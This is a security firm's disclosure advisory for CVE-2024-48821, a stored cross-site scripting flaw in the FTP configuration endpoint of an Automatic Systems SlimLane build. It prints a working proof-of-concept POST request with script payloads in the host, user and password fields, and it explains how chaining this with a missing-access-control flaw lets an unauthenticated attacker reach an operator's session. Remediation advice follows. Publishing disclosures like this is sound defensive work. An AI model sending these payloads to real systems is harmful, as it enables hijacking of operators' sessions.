- CVE ID
- CVE-2024-48821
- Type
- Stored / persistent XSS
- Affected
- Automatic Systems SlimLane (build 29565)
- Vector
- Unauthenticated, network
Responsible disclosure
This research was carried out by Solusec and published after coordinated disclosure, with a CVE identifier assigned through the appropriate numbering authority. It is shared for defensive and educational purposes so that affected operators can identify and remediate the issue. We do not publish research to enable misuse.
If you operate an affected product and want help confirming or fixing this, get in touch.
Summary
The same FtpConfig.php endpoint on the affected Automatic Systems SlimLane build does not sanitise the values it stores. An attacker can place a JavaScript payload into the host, user or password fields, which is persisted and then executed whenever the FTP configuration page is subsequently viewed — a stored (persistent) cross-site scripting vulnerability.
This vulnerability is tracked as CVE-2024-48821. The authoritative record is on the CVE List (CVE-2024-48821), with severity metrics on the National Vulnerability Database.
Technical detail
Submitting the configuration with script in the stored fields persists the payload:
POST /FtpConfig.php HTTP/1.1
Host: <IP>
Content-Length: 200
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Connection: keep-alive
{"fct":"save_ftp_config","enabled":true,"host":"\"><script>alert(document.domain)</script>","user":"\"><script>alert(document.domain)</script>","password":"\"><script>alert(document.domain)</script>"}
On revisiting the FTP configuration page the stored script executes in the context of the interface. Critically, it also fires for any logged-in operator who views the configuration, so an unauthenticated attacker can stage a payload that later runs in an administrator's session.
Impact
Because the payload runs in the context of an authenticated operator, it can be used to perform actions as that operator, capture session material, or pivot deeper into the management interface. Stored XSS chained with the missing access control on the same page (CVE-2024-48822) is a particularly clean unauthenticated-to-operator path.
Remediation
- Apply contextual output encoding wherever stored configuration values are rendered back into the page.
- Validate and constrain configuration inputs on the server side.
- Gate the endpoint behind authentication and authorisation so untrusted input cannot be stored in the first place (see CVE-2024-48822).
Common questions
What is CVE-2024-48821?
A stored cross-site scripting vulnerability in FtpConfig.php on an Automatic Systems SlimLane build. Unsanitised host, user and password fields persist a script payload that executes when the configuration page is viewed.
Who does the payload execute against?
Anyone who views the FTP configuration page, including logged-in operators. That means an unauthenticated attacker can plant a payload that later runs in an administrator's session.
Is this related to the other Automatic Systems CVEs?
Yes. It shares the FtpConfig.php endpoint with CVE-2024-48822 (missing access control), and the two chain together neatly. CVE-2024-48823 and CVE-2024-48824 are separate file-inclusion issues in the same product family.
What is the fix?
Contextual output encoding when rendering stored values, server-side input validation, and proper authentication on the endpoint.
Related
Solusec
Typically replies within one business day
Had an incident, or need a pen test at short notice?
Tell us what you're dealing with and we'll come back to you.
+44 (0)1902 288763 ✉️ Email us
info@solusec.co.uk 📝 Leave a message
We'll reply within one business day